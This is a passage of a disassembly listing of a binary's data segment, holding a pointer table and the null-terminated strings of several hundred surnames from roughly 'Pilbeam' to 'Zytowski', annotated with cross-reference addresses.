dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: seg002:0042FEC8o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: seg002:0042FEC4o align 10h aZurn db 'Zurn',0 ; DATA XREF: seg002:0042FEC0o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: seg002:0042FEBCo aZoldak db 'Zoldak',0 ; DATA XREF: seg002:0042FEB8o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: seg002:0042FEB4o aZegans db 'Zegans',0 ; DATA XREF: seg002:0042FEB0o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: seg002:0042FEACo align 4 aZahedi db 'Zahedi',0 ; DATA XREF: seg002:0042FEA8o align 4 aZachary db 'Zachary',0 ; DATA XREF: seg002:0042FEA4o aYu db 'Yu',0 ; DATA XREF: seg002:0042FEA0o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: seg002:0042FE9Co align 4 aYoo db 'Yoo',0 ; DATA XREF: seg002:0042FE98o aYoffe db 'Yoffe',0 ; DATA XREF: seg002:0042FE94o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: seg002:0042FE90o align 4 aYesson db 'Yesson',0 ; DATA XREF: seg002:0042FE8Co align 10h aYedidia db 'Yedidia',0 ; DATA XREF: seg002:0042FE88o aYbarra db 'Ybarra',0 ; DATA XREF: seg002:0042FE84o align 10h aYates db 'Yates',0 ; DATA XREF: seg002:0042FE80o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: seg002:0042FE7Co aYankee db 'Yankee',0 ; DATA XREF: seg002:0042FE78o align 4 aYamane db 'Yamane',0 ; DATA XREF: seg002:0042FE74o align 10h aYacono db 'Yacono',0 ; DATA XREF: seg002:0042FE70o align 4 aVotey db 'Votey',0 ; DATA XREF: seg002:0042FE6Co align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: seg002:0042FE68o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: seg002:0042FE64o align 4 aWoods db 'Woods',0 ; DATA XREF: seg002:0042FE60o align 10h aWooden db 'Wooden',0 ; DATA XREF: seg002:0042FE5Co align 4 aWoo db 'Woo',0 ; DATA XREF: seg002:0042FE58o aVonhoffman db 'VonHoffman',0 ; DATA XREF: seg002:0042FE54o align 4 aWolk db 'Wolk',0 ; DATA XREF: seg002:0042FE50o align 10h aVoigt db 'Voigt',0 ; DATA XREF: seg002:0042FE4Co align 4 aViviani db 'Viviani',0 ; DATA XREF: seg002:0042FE48o aVitali db 'Vitali',0 ; DATA XREF: seg002:0042FE44o align 4 aWilson db 'Wilson',0 ; DATA XREF: seg002:0042FE40o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: seg002:0042FE3Co aVillarreal db 'Villarreal',0 ; DATA XREF: seg002:0042FE38o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: seg002:0042FE34o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: seg002:0042FE30o align 4 aWilk db 'Wilk',0 ; DATA XREF: seg002:0042FE2Co align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: seg002:0042FE28o aWilder db 'Wilder',0 ; DATA XREF: seg002:0042FE24o align 4 aVignola db 'Vignola',0 ; DATA XREF: seg002:0042FE20o aViens db 'Viens',0 ; DATA XREF: seg002:0042FE1Co align 4 aWiener db 'Wiener',0 ; DATA XREF: seg002:0042FE18o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: seg002:0042FE14o aViano db 'Viano',0 ; DATA XREF: seg002:0042FE10o align 10h aViana db 'Viana',0 ; DATA XREF: seg002:0042FE0Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: seg002:0042FE08o align 4 aWhitla db 'Whitla',0 ; DATA XREF: seg002:0042FE04o align 4 aWhite db 'White',0 ; DATA XREF: seg002:0042FE00o align 4 aWhilton db 'Whilton',0 ; DATA XREF: seg002:0042FDFCo aWhately db 'Whately',0 ; DATA XREF: seg002:0042FDF8o aWetzel db 'Wetzel',0 ; DATA XREF: seg002:0042FDF4o align 4 aWescott db 'Wescott',0 ; DATA XREF: seg002:0042FDF0o aVerghese db 'Verghese',0 ; DATA XREF: seg002:0042FDECo align 10h aVenne db 'Venne',0 ; DATA XREF: seg002:0042FDE8o align 4 aWengret db 'Wengret',0 ; DATA XREF: seg002:0042FDE4o aWelsh db 'Welsh',0 ; DATA XREF: seg002:0042FDE0o align 4 aWelles db 'Welles',0 ; DATA XREF: seg002:0042FDDCo align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: seg002:0042FDD8o align 4 aWeissman db 'Weissman',0 ; DATA XREF: seg002:0042FDD4o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: seg002:0042FDD0o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: seg002:0042FDCCo align 10h aWeingarten db 'Weingarten',0 ; DATA XREF: seg002:0042FDC8o align 4 aWeighart db 'Weighart',0 ; DATA XREF: seg002:0042FDC4o align 4 aWaugh db 'Waugh',0 ; DATA XREF: seg002:0042FDC0o align 10h aVasquez db 'Vasquez',0 ; DATA XREF: seg002:0042FDBCo aWasowska db 'Wasowska',0 ; DATA XREF: seg002:0042FDB8o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: seg002:0042FDB4o align 10h aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: seg002:0042FDB0o align 10h aVandenberg db 'Vandenberg',0 ; DATA XREF: seg002:0042FDACo align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: seg002:0042FDA8o aVanallen db 'vanAllen',0 ; DATA XREF: seg002:0042FDA4o align 10h aWalter db 'Walter',0 ; DATA XREF: seg002:0042FDA0o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: seg002:0042FD9Co align 4 aWales db 'Wales',0 ; DATA XREF: seg002:0042FD98o align 4 aValencia db 'Valencia',0 ; DATA XREF: seg002:0042FD94o align 4 aValberg db 'Valberg',0 ; DATA XREF: seg002:0042FD90o aWaite db 'Waite',0 ; DATA XREF: seg002:0042FD8Co align 4 aVacca db 'Vacca',0 ; DATA XREF: seg002:0042FD88o align 10h aUzuner db 'Uzuner',0 ; DATA XREF: seg002:0042FD84o align 4 aUsdan db 'Usdan',0 ; DATA XREF: seg002:0042FD80o align 10h aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: seg002:0042FD7Co align 10h aUrban db 'Urban',0 ; DATA XREF: seg002:0042FD78o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: seg002:0042FD74o aUntermeyer db 'Untermeyer',0 ; DATA XREF: seg002:0042FD70o align 4 aUllman db 'Ullman',0 ; DATA XREF: seg002:0042FD6Co align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: seg002:0042FD68o align 10h aTwells db 'Twells',0 ; DATA XREF: seg002:0042FD64o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: seg002:0042FD60o align 10h aTurek db 'Turek',0 ; DATA XREF: seg002:0042FD5Co align 4 aTurano db 'Turano',0 ; DATA XREF: seg002:0042FD58o align 10h aTukan db 'Tukan',0 ; DATA XREF: seg002:0042FD54o align 4 aTudge db 'Tudge',0 ; DATA XREF: seg002:0042FD50o align 10h aTuck db 'Tuck',0 ; DATA XREF: seg002:0042FD4Co align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: seg002:0042FD48o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: seg002:0042FD44o align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: seg002:0042FD40o aTruss db 'Truss',0 ; DATA XREF: seg002:0042FD3Co align 10h aTroy db 'Troy',0 ; DATA XREF: seg002:0042FD38o align 4 aTroiani db 'Troiani',0 ; DATA XREF: seg002:0042FD34o aTringali db 'Tringali',0 ; DATA XREF: seg002:0042FD30o align 4 aTrewin db 'Trewin',0 ; DATA XREF: seg002:0042FD2Co align 4 aTrenga db 'Trenga',0 ; DATA XREF: seg002:0042FD28o align 4 aTraebert db 'Traebert',0 ; DATA XREF: seg002:0042FD24o align 4 aToye db 'Toye',0 ; DATA XREF: seg002:0042FD20o align 10h aTowler db 'Towler',0 ; DATA XREF: seg002:0042FD1Co align 4 aTorske db 'Torske',0 ; DATA XREF: seg002:0042FD18o align 10h aTorresi db 'Torresi',0 ; DATA XREF: seg002:0042FD14o aTopulos db 'Topulos',0 ; DATA XREF: seg002:0042FD10o aToomer db 'Toomer',0 ; DATA XREF: seg002:0042FD0Co align 4 aTomford db 'Tomford',0 ; DATA XREF: seg002:0042FD08o aTolman db 'Tolman',0 ; DATA XREF: seg002:0042FD04o align 4 aTolls db 'Tolls',0 ; DATA XREF: seg002:0042FD00o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: seg002:0042FCFCo align 4 aTofallis db 'Tofallis',0 ; DATA XREF: seg002:0042FCF8o align 4 aTimmons db 'Timmons',0 ; DATA XREF: seg002:0042FCF4o aTill db 'Till',0 ; DATA XREF: seg002:0042FCF0o align 4 aTierney db 'Tierney',0 ; DATA XREF: seg002:0042FCECo aThroop db 'Throop',0 ; DATA XREF: seg002:0042FCE8o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: seg002:0042FCE4o aThisted db 'Thisted',0 ; DATA XREF: seg002:0042FCE0o aThibault db 'Thibault',0 ; DATA XREF: seg002:0042FCDCo align 4 aTheodos db 'Theodos',0 ; DATA XREF: seg002:0042FCD8o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: seg002:0042FCD4o align 4 aThan db 'Than',0 ; DATA XREF: seg002:0042FCD0o align 4 aTerracini db 'Terracini',0 ; DATA XREF: seg002:0042FCCCo align 10h aTenney db 'Tenney',0 ; DATA XREF: seg002:0042FCC8o align 4 aTemmer db 'Temmer',0 ; DATA XREF: seg002:0042FCC4o align 10h aTemes db 'Temes',0 ; DATA XREF: seg002:0042FCC0o align 4 aTeague db 'Teague',0 ; DATA XREF: seg002:0042FCBCo align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: seg002:0042FCB8o align 4 aTawn db 'Tawn',0 ; DATA XREF: seg002:0042FCB4o align 4 aTaveras db 'Taveras',0 ; DATA XREF: seg002:0042FCB0o aTatar db 'Tatar',0 ; DATA XREF: seg002:0042FCACo align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: seg002:0042FCA8o align 10h aTandler db 'Tandler',0 ; DATA XREF: seg002:0042FCA4o aTambiah db 'Tambiah',0 ; DATA XREF: seg002:0042FCA0o aTalaugon db 'Talaugon',0 ; DATA XREF: seg002:0042FC9Co align 4 aTai db 'Tai',0 ; DATA XREF: seg002:0042FC98o aTagiuri db 'Tagiuri',0 ; DATA XREF: seg002:0042FC94o aSwindle db 'Swindle',0 ; DATA XREF: seg002:0042FC90o aSweetser db 'Sweetser',0 ; DATA XREF: seg002:0042FC8Co align 4 aSweeting db 'Sweeting',0 ; DATA XREF: seg002:0042FC88o align 4 aSurdam db 'Surdam',0 ; DATA XREF: seg002:0042FC84o align 10h aSuo db 'Suo',0 ; DATA XREF: seg002:0042FC80o aSumner db 'Sumner',0 ; DATA XREF: seg002:0042FC7Co align 4 aSullivan db 'Sullivan',0 ; DATA XREF: seg002:0042FC78o align 4 aStringer db 'Stringer',0 ; DATA XREF: seg002:0042FC74o align 4 aStreiff db 'Streiff',0 ; DATA XREF: seg002:0042FC70o aStrauch db 'Strauch',0 ; DATA XREF: seg002:0042FC6Co aStrange db 'Strange',0 ; DATA XREF: seg002:0042FC68o aStott db 'Stott',0 ; DATA XREF: seg002:0042FC64o align 4 aStorer db 'Storer',0 ; DATA XREF: seg002:0042FC60o align 4 aStonich db 'Stonich',0 ; DATA XREF: seg002:0042FC5Co aStolzenberg db 'Stolzenberg',0 ; DATA XREF: seg002:0042FC58o aStockwell db 'Stockwell',0 ; DATA XREF: seg002:0042FC54o align 4 aStockton db 'Stockton',0 ; DATA XREF: seg002:0042FC50o align 4 aStock db 'Stock',0 ; DATA XREF: seg002:0042FC4Co align 10h aStillwell db 'Stillwell',0 ; DATA XREF: seg002:0042FC48o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: seg002:0042FC44o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: seg002:0042FC40o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: seg002:0042FC3Co aStephanian db 'Stephanian',0 ; DATA XREF: seg002:0042FC38o align 10h aSteiner db 'Steiner',0 ; DATA XREF: seg002:0042FC34o aStefani db 'Stefani',0 ; DATA XREF: seg002:0042FC30o aStatlender db 'Statlender',0 ; DATA XREF: seg002:0042FC2Co align 4 aStates db 'States',0 ; DATA XREF: seg002:0042FC28o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: seg002:0042FC24o align 4 aStang db 'Stang',0 ; DATA XREF: seg002:0042FC20o align 4 aStam db 'Stam',0 ; DATA XREF: seg002:0042FC1Co align 4 aStalvey db 'Stalvey',0 ; DATA XREF: seg002:0042FC18o aStmartin db 'StMartin',0 ; DATA XREF: seg002:0042FC14o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: seg002:0042FC10o aSpiliotis db 'Spiliotis',0 ; DATA XREF: seg002:0042FC0Co align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: seg002:0042FC08o align 4 aSpicer db 'Spicer',0 ; DATA XREF: seg002:0042FC04o align 4 aSperber db 'Sperber',0 ; DATA XREF: seg002:0042FC00o aSpence db 'Spence',0 ; DATA XREF: seg002:0042FBFCo align 4 aSpeizer db 'Speizer',0 ; DATA XREF: seg002:0042FBF8o aSpaulding db 'Spaulding',0 ; DATA XREF: seg002:0042FBF4o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: seg002:0042FBF0o aSpanier db 'Spanier',0 ; DATA XREF: seg002:0042FBECo aSoultanian db 'Soultanian',0 ; DATA XREF: seg002:0042FBE8o align 4 aSoule db 'Soule',0 ; DATA XREF: seg002:0042FBE4o align 4 aSoukup db 'Soukup',0 ; DATA XREF: seg002:0042FBE0o align 4 aSottak db 'Sottak',0 ; DATA XREF: seg002:0042FBDCo align 4 aSorg db 'Sorg',0 ; DATA XREF: seg002:0042FBD8o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: seg002:0042FBD4o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: seg002:0042FBD0o align 4 aSomers db 'Somers',0 ; DATA XREF: seg002:0042FBCCo align 4 aSolon db 'Solon',0 ; DATA XREF: seg002:0042FBC8o align 4 aSocolow db 'Socolow',0 ; DATA XREF: seg002:0042FBC4o aSnodgrass db 'Snodgrass',0 ; DATA XREF: seg002:0042FBC0o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: seg002:0042FBBCo aSmilow db 'Smilow',0 ; DATA XREF: seg002:0042FBB8o align 10h aSlowe db 'Slowe',0 ; DATA XREF: seg002:0042FBB4o align 4 aSloan db 'Sloan',0 ; DATA XREF: seg002:0042FBB0o align 10h aSkoda db 'Skoda',0 ; DATA XREF: seg002:0042FBACo align 4 aSkerry db 'Skerry',0 ; DATA XREF: seg002:0042FBA8o align 10h aSkane db 'Skane',0 ; DATA XREF: seg002:0042FBA4o align 4 aSites db 'Sites',0 ; DATA XREF: seg002:0042FBA0o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: seg002:0042FB9Co aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: seg002:0042FB98o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: seg002:0042FB94o align 10h aSilverman db 'Silverman',0 ; DATA XREF: seg002:0042FB90o align 4 aSigna db 'Signa',0 ; DATA XREF: seg002:0042FB8Co align 4 aSigini db 'Sigini',0 ; DATA XREF: seg002:0042FB88o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: seg002:0042FB84o aSiesto db 'Siesto',0 ; DATA XREF: seg002:0042FB80o align 4 aShimon db 'Shimon',0 ; DATA XREF: seg002:0042FB7Co align 4 aShibata db 'Shibata',0 ; DATA XREF: seg002:0042FB78o aShia db 'Shia',0 ; DATA XREF: seg002:0042FB74o align 4 aShesko db 'Shesko',0 ; DATA XREF: seg002:0042FB70o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: seg002:0042FB6Co align 4 aSheppard db 'Sheppard',0 ; DATA XREF: seg002:0042FB68o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: seg002:0042FB64o align 10h aSheats db 'Sheats',0 ; DATA XREF: seg002:0042FB60o align 4 aShea db 'Shea',0 ; DATA XREF: seg002:0042FB5Co align 10h aShavelson db 'Shavelson',0 ; DATA XREF: seg002:0042FB58o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: seg002:0042FB54o aShar db 'Shar',0 ; DATA XREF: seg002:0042FB50o align 4 aShanley db 'Shanley',0 ; DATA XREF: seg002:0042FB4Co aShankland db 'Shankland',0 ; DATA XREF: seg002:0042FB48o align 10h aShakis db 'Shakis',0 ; DATA XREF: seg002:0042FB44o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: seg002:0042FB40o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: seg002:0042FB3Co aSexton db 'Sexton',0 ; DATA XREF: seg002:0042FB38o align 10h aSeterdahl db 'Seterdahl',0 ; DATA XREF: seg002:0042FB34o align 4 aSennett db 'Sennett',0 ; DATA XREF: seg002:0042FB30o aSen db 'Sen',0 ; DATA XREF: seg002:0042FB2Co aSelvage db 'Selvage',0 ; DATA XREF: seg002:0042FB28o aSekler db 'Sekler',0 ; DATA XREF: seg002:0042FB24o align 4 aSegal db 'Segal',0 ; DATA XREF: seg002:0042FB20o align 10h aSeeber db 'Seeber',0 ; DATA XREF: seg002:0042FB1Co align 4 aSeaton db 'Seaton',0 ; DATA XREF: seg002:0042FB18o align 10h aScudder db 'Scudder',0 ; DATA XREF: seg002:0042FB14o aScovel db 'Scovel',0 ; DATA XREF: seg002:0042FB10o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: seg002:0042FB0Co aSchwan db 'Schwan',0 ; DATA XREF: seg002:0042FB08o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: seg002:0042FB04o align 10h aSchutte db 'Schutte',0 ; DATA XREF: seg002:0042FB00o aSchuman db 'Schuman',0 ; DATA XREF: seg002:0042FAFCo aSchossberger db 'Schossberger',0 ; DATA XREF: seg002:0042FAF8o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: seg002:0042FAF4o aSchilling db 'Schilling',0 ; DATA XREF: 